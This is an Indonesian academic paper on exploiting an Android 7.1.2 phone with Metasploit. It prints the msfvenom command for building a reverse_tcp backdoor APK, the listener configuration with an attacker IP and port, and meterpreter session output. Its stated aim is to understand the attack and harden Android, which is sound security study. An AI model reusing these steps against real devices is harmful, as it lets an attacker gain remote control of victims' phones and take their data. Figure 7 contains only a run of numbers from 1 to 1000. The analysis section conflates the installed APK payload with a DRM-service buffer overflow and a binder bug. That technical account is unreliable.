Exploitation with Reverse_tcp method on Android Device Using Metasploit

Rizky Dwiananda Lukita Putra^{#1}, Is Mardianto^{*2}

Program Studi Teknik Informatika, Universitas Trisakti

¹rizky06401400006@std.trisakti.ac.id

²mardianto@trisakti.ac.id

Universitas Trisakti

Jl. Letjen S. Parman No. 1, RT.6/RW.16, Tomang, Grogol Petamburan, Kota Jakarta Barat, Daerah Khusus Ibukota Jakarta, 11440.

Abstract—Android is a popular operating system on smartphone which run on linux kernel. Android operating system allows developers to access and modify source code, but this advantage also increases the security issue. One of the various attack is exploit, that many attacker carry out this type of attack to get sensitive user information. In this research, exploit attacks are done used some tool such as metasploit framework and this experiment is done on android device which one be a target attack. The result obtained from this exploit attack in the form of an understanding of how to conduct exploit attack, analyze the interaction of attacker with victim, analyze the workings of exploit attack and how long will it take to set up a payload with bash script shell. All the details of the analyze will give us the conclusions and strategies to make the android operating system more secure.

Kata kunci— Exploit, Android Device, Metasploit, Kali linux, Bash script shell

I. PENDAHULUAN

Teknologi selalu berkembang dan mengalami kemajuan sangat pesat sesuai dengan perkembangan zaman dan perkembangan cara berfikir manusia itu sendiri, sebuah informasi yang serba digital membawa manusia ke dunia yang revolusioner karena dirasa mudah, murah dan praktis untuk berkomunikasi dan memperoleh informasi yang merupakan tujuan adanya perkembangan.

Perkembangan ini pula mempunyai dampak negative berupa pencurian data sensitif para pengguna perangkat android. Android adalah sistem operasi seluler berbasis kernel linux. Kernel linux menyediakan sifat *multi-user* dan *control disrectionary access control* (DAC) diatas semua layer android. Android menggunakan mekanisme *sandboxing* dan *isolation* tingkat kernel untuk memisahkan aplikasi dari satu sama lain, dan untuk mengontrol komunikasi antara aplikasi atau akses sumber daya. Ini berarti bahwa *smartphone* yang dipilih karena kemudahan dan kesederhanaan dalam mengakses aplikasi. Dengan adanya sebuah perangkat *smartphone*, pertukaran

informasi dapat dikembangkan lebih pesat dibandingkan dengan teknologi sebelumnya dan alat ini memiliki beberapa fungsi lain yang dapat memberikan hiburan dan pengkasesan informasi melalui akses internet[16]. Oleh Karena itu android menjadi salah satu sistem operasi yang paling banyak digunakan, terdapat sejumlah besar aplikasi yang terinfeksi oleh *malware* seperti *spyware*, *backdoors*, *Trojan hourse*, dan lain-lain. Aplikasi *backdoor* memberikan penyerang ke berbagai izin dari perangkat yang terpasang[1].

Banyak cara seorang penyerang melakukan serangan *backdoors* dengan menyerang keamanan secara spesifik salah satunya *exploit* dengan bantuan *tool metasploit* yang merupakan *software security* yang sering digunakan untuk menguji ketahanan pada suatu sistem jenis serangan ini berjalan pada *application layer*[2].

Motivasi dari penelitian ini untuk mengetahui karakteristik exploit dengan menggunakan metode serangan reverse tcp pada perangkat berbasis Android, dan ingin mengetahui variabel waktu yang dibutuhkan payload untuk masuk kedalam sistem dari target yang diserang.

Permasalahan dalam menerapkan serangan exploit pada penelitian ini adalah menemukan kerentanan (vulnerability) dari bagian-bagian (bug) system Android. Hal ini bisa dilakukan dengan cara mengeksploitasi fungsi yang terdapat baik pada bagian servis/layanan system Android atau pada bagian fisik penyimpanannya.

Kontribusi yang akan dihasilkan dari penelitian ini berupa pemahaman bagaimana metode reverse tcp bekerja dalam serangan exploit sistem Android dan bagaimana cara menghindarinya.

II. STUDI LITERATUR

A. Bash script shell

Pada percobaan ini penulis menggunakan bantuan script bash shell bernama *ezsploit* untuk mengkonfigurasi payload[15], dan pada bash script shell ini juga penulis

melakukan perhitungan lamanya waktu yang diperlukan untuk melakukan satu kali konfigurasi payload. Untuk dapat melakukan perhitungan waktu, penulis menambahkan beberapa fungsi *date* di bash script shell.

Serangan exploit ini berjalan pada sistem operasi kali linux dan dibagian ini penulis memperkenalkan dan menjelaskan istilah-istilah yang dipakai dalam percobaan *exploit*, sebagai berikut.

B. Metasploit Framework

Metasploit framework adalah platform pengujian dan pengembangan penetrasi open source yang memberi akses ke kode *exploit* untuk berbagai aplikasi, sistem operasi dan platform. Ditulis dalam Bahasa *scripting Ruby* dengan sifat status *Ruby* sebagai Bahasa berorientasi objek. Selain itu, metasploit dianggap multi-platform berjalan pada sebagian besar variasi *unix* dan *windows*[3].

Metasploit framework menghasilkan cara kerja yang luar biasa, tetapi bagi pengguna baru terbilang sulit untuk digunakan karena *metasploit* di linux tidak menyediakan *graphic user-interface*(GUI). Oleh karena itu perlu mengetahui sintaks dan perintah untuk menggunakan *metasploit* secara efektif. Dalam metasploit, untuk sebagian besar serangan perlu mengikuti langkah-langkah dasar yang disebutkan dibawah ini[4] :

- Memilih dan mengkonfigurasi (kode yang memasuki sistem target dengan mengambil keuntungan dari salah satu bug tersebut)
- Memilih dan mengkonfigurasi payload (kode yang akan dieksekusi pada sistem target jika berhasil masuk)
- Memilih teknik pengkodean sehingga sistem intrusi pencegahan mengabaikan payload
- Mengeksekusi *exploit*

Untuk memilih *exploit* dan *payload*, beberapa informasi tentang sistem target diperlukan, seperti versi sistem operasi dan layanan jaringan terpasang.

C. Payload

Payload adalah kode yang kita inginkan agar sistem dieksekusi dan itu harus dipilih dan disampaikan oleh *framework* sebagai contoh, *reverse shell* adalah payload yang membuat koneksi dari mesin target kembali ke penyerang sebagai *meterpreter console*, sedangkan *bind shell* adalah payload yang mengikat *meterpreter console* untuk mendengarkan pada port mesin target dimana penyerang dapat terhubung. Payload juga menjadi sesuatu dari beberapa perintah yang akan dijalankan pada sistem operasi target [5]. Berikut tipe-tipe payload untuk android :

- Android/meterpreter/reverse_tcp.
- Android/meterpreter/reverse_http.
- Android/meterpreter/reverse_https.
- Android/shell/reverse_tcp.

D. Meterpreter

Meterpreter memberikan penyerang akses ke *payload* yang terpasang pada perangkat android target, dan penyerang kemudian dapat mengeksekusi perintah untuk membaca, memodifikasi, mengambil data atau informasi dari serangan *exploit* [6].

III. ANDROID DRM SERVICE

Platform android menyediakan *DRM framework* yang dapat diperluas yang memungkinkan aplikasi mengelola konten yang dilindungi hak sesuai dengan batasan lisensi yang terkait dengan konten. *DRM framework* android diimplementasikan dalam dua lapisan arsitektur [12]:

- *DRM framework API* aplikasi yang melewati *drm framework* dan berjalan melalui *dalvik VM* untuk aplikasi standar.
- *DRM manager* yang mengimplementasikan *framework DRM* dan memaparkan antarmuka untuk plug-in *DRM* untuk menangani manajemen hak dan dekripsi berbagai skema *DRM*.

Gambar .1 DRM Framework[12]

IV. ANDROID PLATFORM ARCHITECTURE

Platform android dibuat oleh *android Inc* yang kemudian dibeli oleh *google* dan menyebutnya *Android Open source Project*. Platform android didasarkan pada kernel linux, yang dimodifikasi untuk memenuhi kebutuhan khusus manajemen daya yang lebih baik. Karena android dirancang untuk digunakan pada smartphone dan tablet, android memiliki banyak perubahan dan pembaruan pada kernel linux untuk mendukung perangkat yang berbeda. Penambahan termasuk subsistem untuk mengontrol memori dan prosesor, perpustakaan untuk mengelola sistem file yang dirancang untuk penyimpanan, manajemen proses dan manajemen perangkat. Kumpulan perangkat lunak android dapat dibagi menjadi lima lapisan :

- Kernel linux dan perangkat tingkat yang lebih rendah
- System libraries
- Android runtime
- Application framework
- Application layer diatas semuanya

Setiap lapisan menyediakan layanan yang berbeda ke lapisan tepat di atasnya [7].

Gambar 2 . Arsitektur android

A. Linux Kernel

Kernel linux adalah lapisan dasar yang setara dengan tingkat abstrak antara lapisan perangkat keras dan lapisan perangkat lunak lainnya dalam sistem. Kernel berisi sejumlah besar driver perangkat yang membuat antarmuka ke perangkat keras sekelilingnya mudah dipahami [7].

B. Libraries

Di atas kernel linux ada seperangkat libraries C / C++ asli android. Libraries khusus untuk perangkat keras tertentu. Sebagai contoh, media framework library memandu pemutaran dan perekaman berbagai gambar, video dan format audio. Beberapa libraries inti lainnya termasuk surface manager, SQLite, Webkit, dan OpenGL.

C. Android Runtime

Android runtime termasuk set libraries java inti. Programmer aplikasi menggunakan Bahasa pemrograman java untuk mengembangkan aplikasi. Ini termasuk mesin virtual dalvik dan perpustakaan java core.

- **Dalvik virtual machine** : virtual machine berjalan seolah-olah itu adalah perangkat independen yang memiliki sistem operasinya sendiri. Ini memungkinkan banyak contoh mesin virtual untuk dijalankan secara bersamaan menyediakan isolasi, keamanan, manajemen memori. Setiap aplikasi berjalan sebagai prosesnya sendiri didalam mesin virtual sehingga tidak ada aplikasi lain yang

bergantung padanya dan jika terjadi crash aplikasi, itu tidak akan mempengaruhi aplikasi lain yang berjalan pada perangkat. Fitur-fitur ini disebut sandbox [7].

- **Core java libraries** : sebagian besar fungsi yang didefinisikan dalam libraries java SE, termasuk tugas-tugas seperti penanganan string, jaringan dan manipulasi file disediakan oleh libraries ini.

D. Application Framework

Application framework mengelola fungsi smartphone seperti manajemen sumber daya, manajemen panggilan suara. Aplikasi dari lapisan atas berinteraksi dengan lapisan application framework. Beberapa blok penting dari application framework adalah aktivitas manajer, penyedia konten, manajer lokasi dan manajer sumber daya [7].

E. Applications

Application adalah lapisan paling atas dari arsitektur android. Pengguna rata-rata kebanyakan berinteraksi dengan lapisan ini untuk melakukan fungsi dasar seperti membuat panggilan telepon, mengakses browser. *Exploit* sebagai terjadi pada layer *application* yang memungkinkan penyerang untuk mengeksekusi kode dan menyediakan akses yang tidak diautentikasi ke beberapa sumber yang dilindungi.

V. PROSES EXPLOIT

Pada percobaan *exploit* penulis menggunakan perangkat android untuk dijadikan target percobaan dengan informasi sistem operasi android sebagai berikut :

- Android Versi 7.1.2 Nougat.
- Kernel versi 3.4.0
- Root status : no-root

Selain android yang dijadikan target, penulis juga menggunakan tool yang terpasang pada sistem operasi kali linux rolling versi 2018.2 yaitu Metasploit.

Langkah-langkah untuk melakukan percobaan *exploit* yaitu konfigurasi, konfigurasi listener dan menjalankan *exploit*.

A. Konfigurasi Payload

Ditahap konfigurasi payload, penulis menggunakan bash shell script bernama *ezsploit* yang dijadikan cara untuk membuat sebuah payload. berikut adalah representasi perintah yang ada pada tahap konfigurasi sebuah payload. perintah yang dituliskan pada terminal berupa shell script. Shell script menyederhanakan proses pembuatan payload ke file apk android [1]. Kode ini juga mendefinisikan tipe payload yang dimiliki oleh aplikasi backdoor. Penyerang dapat melakukan seranganya dengan membuat payload (.apk) mengetik alamat IP penyerang sebagai LHOST dan nomor port penyerang sebagai LPORT ke dalam perintah `msfvenom -p android/meterpreter/reverse_tcp LHOST=(alamat IP`

penyerang) *LPORT*=(nomor port penyerang) *R* > /root/shell.APK [9]. Pada percobaan ini penulis menggunakan metode *reverse_tcp* dimana metode ini adalah jenis shell reverse meterpreter, reverse shell dapat melewati firewall, karena korban yang akan membuat sambungan kembali ke penyerang, sehingga pada metode listener pada mesin penyerang akan menunggu koneksi masuk, berikut skema perbedaan metode *reverse_tcp* dengan *bind_tcp* :

Gambar. 3 Skema reverse_TCP[13]

Berikut adalah gambar 4 shell.apk yang telah dibuat dengan mengeksekusi perintah pada gambar 3 dengan melalui proses yang terjadi dibelakang layar. Dimana file ini yang akan dikirim ke perangkat android target untuk dipasang.

Gambar. 4 Payload bernama Shell.Apk

Setelah proses konfigurasi payload berhasil, selanjutnya adalah melakukan instalasi payload pada perangkat android yang dijadikan target, tahap ini penulis melakukan instalasi payload di android yang sebelumnya telah dijelaskan mengenai informasi android tersebut, setelah proses instalasi selesai tahap berikutnya adalah konfigurasi listener agar tercipta meterpreter sessions. Berikut langkah konfigurasi listener [8]:

- Buka Konsol metasploit dengan eksekusi perintah *msfconsole*.
- Setelah menu *msfconsole* terbuka, eksekusi perintah **use multi/handler** yang berfungsi penyerang dapat menentukan jenis payload dan mengatur **LHOST** serta **LPORT** untuk membuat listener.
- **set payload android/meterpreter/reverse_tcp** perintah ini berfungsi mengatur jenis payload.
- **set LHOST** <alamat IP penyerang> perintah ini berfungsi mengatur alamat IP yang akan digunakan sebagai host.

- **set LPORT** <nomor Port penyerang> perintah ini berfungsi mengatur nomor Port yang digunakan sebagai jalur masuk koneksi.
- **exploit** perintah ini memulai eksploitasi dengan membuat koneksi antara android target dan penyerang pada mesin listener.

Berikut adalah tampilan konfigurasi listener yang penulis telah lakukan dengan mengeksekusi setiap perintah sebelumnya.

```
msf > use multi/handler
msf exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.12
lhost => 192.168.0.12
msf exploit(multi/handler) > set lport 4646
lport => 4646
msf exploit(multi/handler) > exploit
```

Gambar. 5 Konfigurasi listener

Pada Gambar 5 ditahap ini penyerang akan menunggu koneksi masuk ke listener, apabila payload yang telah terpasang pada android dibuka oleh korban itu menciptakan meterpreter sessions yang memungkinkan penyerang menjalankan kode eksploitasi. Dalam percobaannya untuk menguji apakah serangan *exploit* telah berhasil dan dapat berjalan, penulis mengeksekusi beberapa perintah untuk melakukan ujicoba keberhasilan serangan, berikut perintah yang penulis eksekusi pada saat meterpreter sessions tercipta :

- **sysinfo** perintah ini berfungsi untuk mengetahui informasi sistem android target. Hasilnya :

```
meterpreter > sysinfo
Computer : localhost
OS : Android 7.1.2 - Linux 3.4.0+ (armv7l)
Meterpreter : dalvik/android
meterpreter > □
```

Gambar.6 Hasil eksekusi perintah sysinfo

Hasil dari perintah *sysinfo* adalah sebuah android dengan informasi versi OS *Android 7.1.2 Linux 3.4.0* dimana diketahui informasi android yang dijadikan target mempunyai informasi sama, yang dapat dipastikan bahwa serangan *exploit* sudah berhasil dijalankan. Untuk mengetahui perintah-perintah yang ada pada metasploit kita dapat mengeksekusi perintah **help** di konsol meterpreter dengan begitu akan muncul kumpulan perintah yang mempunyai fungsi berbeda untuk melakukan eksploitasi lanjut ke perangkat android.

VI. PERHITUNGAN WAKTU

Setelah penulis menambahkan fungsi pada bash script, penulis selanjutnya melakukan percobaan perhitungan waktu pada setiap ujicoba konfigurasi payload exploit disatu jaringan dan exploit dibeda jaringan, penulis juga akan menjelaskan bagaimana cara mendapatkan lamanya waktu yang dibutuhkan.

Setelah melakukan percobaan perhitungan waktu pada konfigurasi payload, dapat disimpulkan konfigurasi

payload dengan menggunakan alamat IP lokal memerlukan waktu mulai hingga akhir rata-rata 27.29204 *milliseconds* dalam seratus kali percobaan perhitungan waktu lamanya sebuah payload selesai dikonfigurasi. Angkat tersebut didapatkan dari perhitungan rumus $(\{\text{akhir}\} - \{\text{mulai}\})$ dimana variable **akhir** adalah waktu dimana script ini selesai menjalankan setiap konfigurasi payload dalam satuan waktu *milliseconds* sedangkan variable **mulai** adalah waktu dimana script ini berjalan mengeksekusi baris pertama perintah pada script dalam satuan waktu *milliseconds* sehingga dari perhitungan ini diketahui hasil waktu lama konfigurasi payload.

```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000

```

Gambar.7 Perhitungan waktu konfigurasi payload

VII. ANALISA

Payload adalah sebuah muatan sederhana yang tersusun sepadat mungkin dan melakukan tugas menyediakan sarana untuk penyerang menggugah sesuatu yang lebih besar. *Payload* sering digunakan pada skenario eksploitasi karena serangan jenis *exploit* dapat menghasilkan ruang untuk *shellcode* dapat tersimpan.

Baris pertama perintah *shellcode* (sering disebut sebagai *stage0*) yang dapat membuat koneksi baru kembali ke mesin penyerang dan membaca sebuah *payload* yang lebih besar kedalam memori. Dalam istilah metasploit, *payload* ini disebut *reverse_tcp* dan tahap kedua (*stage1*) merupakan perintah *shell* standar seperti *shell meterpreter*.

Gambar.8 Representasi mesin penyerang dan target

Saat kita menjalankan perintah *set payload android/meterpreter/.....* perintah ini berjalan dengan fungsi meminta metasploit untuk menyiapkan *payload* yang dipecah menjadi dua tahap, ditahap pertama memberi kita sebuah *meterpreter sessions* dan tahap kedua memberi kita alamat memori untuk mengeksekusi

payload selanjutnya. Pada gambar 8 adalah sebuah representasi dari dua mesin, penyerang dan target. Pada mesin pertama berjalan sebuah metasploit dengan modul *multi/handler* yang telah dikonfigurasi oleh *stage0* diatur menggunakan *reverse_tcp* dengan port 4646. Dan mesin kedua yaitu android menjalankan servis *DRM* (*digital right management*) pada port 53554.

Ketika *payload* dieksekusi, metasploit membuat listener pada port yang ditentukan, kemudian membuat koneksi seperti ditunjukkan pada gambar 9 ke servis *DRM* (*digital right management*) android. Dibelakang layar ketika servis *DRM* (*digital right management*) target menerima sebuah koneksi, sebuah fungsi pada metasploit dipanggil, dimana fungsi tersebut berisikan *stack buffer* yang akan dikirim ke perangkat target.

Gambar.9 Koneksi ke servis drm target

Mesin penyerang kemudian mengirim data seperti ditunjukkan pada gambar 10 yang lebih besar dari yang diperkirakan target. Data ini berisikan *stage0* dan *exploit-specific code*, yang nantinya data ini akan membuat memori buffer target menjadi *overflow*. Fungsi dari *exploit-specific code* yang dikirim yaitu memungkinkan penyerang untuk mendapatkan kontrol atas binder[10]. Binder adalah mekanisme komunikasi antar proses (*IPC inter-proces communication*) dimana pada *IPC* terdapat bug dalam validasi masukan *IPC* memungkinkan penyerang mengeksekusi kode dengan izin lebih tinggi dari aplikasi yang tidak berhak. Dan pada gambar 9 tahap ini sebuah *exploit-specific code* mengalihkan proses eksekusi ke *shellcode* (*stage0*).

Gambar.10 Penyerang mengirim data ke mesin target

Gambar.11 Mesin target terhubung kembali ke penyerang

Pada gambar 11, ditahap ini penyerang memiliki kontrol eksekusi dalam layanan DRM, ketika *stage0* (*reverse_tcp*) tereksekusi, *stage0* menghubungkan kembali ke mesin penyerang pada port yang ditentukan, yang siap menunggu *stage1*. Dalam kasus ini meterpreter *stage1* adalah sebuah file apk yang disebut *shell*. Merupakan data yang dikirim pada tahap gambar 11.

Shell.apk kemudian dikirim ke mesin target melalui koneksi *reverse* (terbalik). Inilah yang terjadi ketika kita melihat pesan “*sending stage (70031 bytes)*” pada msfconsole.

```
[*] Started reverse TCP handler on 192.168.0.12:4646
[*] Sending stage (70031 bytes) to 118.137.36.241
[*] Meterpreter session 3 opened (192.168.0.12:4646 -> 118.137.36.241:53554) at 2018-06-24 09:49:15 +0700
```

Gambar .12 Sending stage

Angka 70031 bytes yang ditampilkan pada gambar. 12 mewakili seluruh *shell.apk* setelah data ini dikirim ke perangkat target, *shellcode* (*stage0*) menulis ke dalam memori.

Gambar.13 Tampilan saat mesin target menjalankan shell.apk

Setelah *stage1* berada didalam memori, *stage0* melewati kontrol dengan melompat ke lokasi dimana payload ditulis. Dalam kasus ini *shell.apk* mempunyai kumpulan *shellcode* yang terlihat mirip dengan *header android* yang valid, dimana *shell.apk* tidak akan terdeteksi sebagai *apk* yang mencurigakan oleh sistem android, ketika dijalankan *shell.apk* dipetakan ulang dan memuat *shell.apk* ke dalam memori sedemikian rupa sehingga memungkinkannya berfungsi dengan benar sebagai sebuah

file apk normal tanpa menuliskan ke disk atau mendaftarkan dengan proses host. Pada gambar 13 tahap ini sebuah meterpreter siap menerima *command shell* pada konsol *metepreter*.

VIII. KESIMPULAN

Pada serangan exploit di android, terdapat kesimpulan yang bisa diambil setelah melakukan percobaan tersebut, bahwa karakteristik serangan exploit memanfaatkan dua bug yang terdapat pada sistem operasi android, yaitu pada penyimpanan memori fisik dan servis binder yang berjalan pada DRM (*digital right management*) memungkinkan aplikasi mengelola konten yang dilindungi hak sesuai dengan batasan lisensi yang terkait dengan konten.

Berikut ini temuan yang didapatkan dari teknik reverse tcp pada perangkat Android:

A. Bug pada memori android

Buffer overflow adalah bug dalam program yang dapat menyebabkan kerentanan keamanan. *Buffer* adalah bagian dari penyimpanan memori fisik yang sementara digunakan untuk menyimpan data. *Buffer overflow* terjadi ketika sebuah program atau proses mencoba untuk menulis atau membaca lebih banyak dari *buffer* yang dapat disimpan.

Dalam konteks keamanan, *buffer overflow* dapat memberikan akses penyerang ke berbagai bagian memori internal dan pada akhirnya mengontrol pelaksanaan aplikasi [11]. Hubungan dalam percobaan ini saat mesin penyerang mengirim fungsi *exploit-specific code* ke *stack buffer* target, yang mempunyai ukuran lebih besar dari yang disediakan target, sehingga menyebabkan terjadi *buffer overflow* dan fungsi *exploit-specific code* mempunyai akses ke berbagai bagian memori internal dan akses mengontrol pelaksanaan program.

B. Bug Android Binder

Model keamanan yang sangat umum digunakan dalam banyak sistem operasi (termasuk android) berada dilingkup IPC (*inter-proces communication*). Bug pada validasi masukan IPC memungkinkan penyerang mengeksekusi kode dengan izin lebih tinggi dari aplikasi yang tidak berhak [10].

Dalam android, mekanisme IPC disebut binder. Binder memiliki banyak fitur yang memungkinkan proses untuk mentransfer objek yang kompleks antara satu sama lain. Dan bug pada binder ini yang dimanfaatkan oleh serangan exploit. Untuk mendapatkan izin akses setiap servis yang ada pada android untuk dijalankan.

C. Reverse_tcp

Serangan *exploit* pada percobaan ini menggunakan metode *reverse_tcp* yaitu metode penyerang memberikan perintah kepada korban, untuk melakukan koneksi masuk ke mesin listener penyerang.

D. Port

Penggunaan *port* pada serangan *exploit* berfungsi sebagai jalur komunikasi masuk dan keluar antara mesin

penyerang dengan mesin korban saat terjadinya serangan *exploit*.

E. Payload

Ketika *Payload* yang terpasang dibuka oleh korban, *payload* melakukan koneksi pada mesin listener melalui *port* yang telah ditentukan.

D. Exploit Android

Serangan *exploit* masih dapat berjalan pada perangkat android 7.1.2 yaitu android Nougat.

Berikut adalah skema serangan *exploit* berdasarkan kesimpulan dari percobaan yang sudah dilakukan penulis :

Gambar.14 Skema serangan exploit

Berikut adalah skema serangan *exploit* dengan gambaran pada arsitektur android :

Gambar.15 Skema serangan exploit pada arsitektur android

Pada saat *payload* terpasang pada perangkat android dengan nama *MainActivity* berada pada layer *application*, aplikasi *MainActivity* mendapat verifikasi dari servis *Dalvik/ART* dengan memanfaatkan bug memori *overflow*. Setelah terverifikasi aplikasi *MainActivity* dapat memodifikasi servis *binder (IPS)* pada android, dimana *MainActivity* mendapatkan akses *permissions* sebuah aplikasi.

REFERENSI

- [1] K. Shivam, S. Rupal, *Android backdoors*, vol. 4 no. 2, hal 1-2, Feb.2017.
- [2] R. Chandel. (2016). *Penetration testing in smb protocol using metasploit*. [Online]. Available : <http://www.hackingarticles.in/penetration-testing-in-smb-protocol-using-metasploit>.
- [3] T. N. Manjunatha, M. S. Shashindhar, G. Vinay, S. Vittal, "Survery on metasploit framework," vol. 4, no. VIII, hal 1, Agustus.2016.
- [4] R. Choudhary, M. Khurana, "Exploitation of PDF Reader Vulnerabilites using metasploit tool," hal 2-4. Sept.2017.
- [5] U. Timalisina, K. Gurung, "Metasploit framework with kali linux," April 2015.
- [6] A. Gonsalves, C. Kulkarni, Ketankokane, P. Mali, M. Mehra, "a tool for preventing the metasploit attack on the android OS," vol. 5. ISSN 2249-5789, hal 326.
- [7] H. Shewale, S. Patil, V. Deshmukh, P. Singh, "Analysis of android vulnerabilities and modern exploitation techniques," vol. 05 no. 1, Maret 2014.
- [8] Dana, (2016), October 10. *Backdoor Apk*. [Online]. Available : <https://github.com/dana-at-cp/backdoor-apk/>.
- [9] K. A. Zaabi, "android device hacking tricks and countermeasures".
- [10] Z. T. Brunner, "Buffer Overflow in multiple android DRM service," [Online], Available : <https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/>.
- [11] *buffer overflow*, [Online], Available : <https://www.enisa.europa.eu/topics/csirts-in-europe/glossary/buffer-overflow>.
- [12] *android.drm*, [Online], Available : <https://developer.android.com/reference/android/drm/package-summary>.
- [13] R. Shenoy, "Metasploit For beginners," Jan, 2017.
- [14] A. Feizollah, B. N. Anuar, R. Salleh, "The evolotuion of android malware and android analysis techniques," Vol. 49, No. 4, Jan 2017.
- [15] *script ezsploit*, [Online], Available : <https://github.com/rand0mlze/ezsploit>.
- [16] I. Mardianto, Kuswandi, "Implementasi keamanan pada transaksi data menggunakan sertifikat Digital X.509." Vol. VIII, No.1, Juni 2016.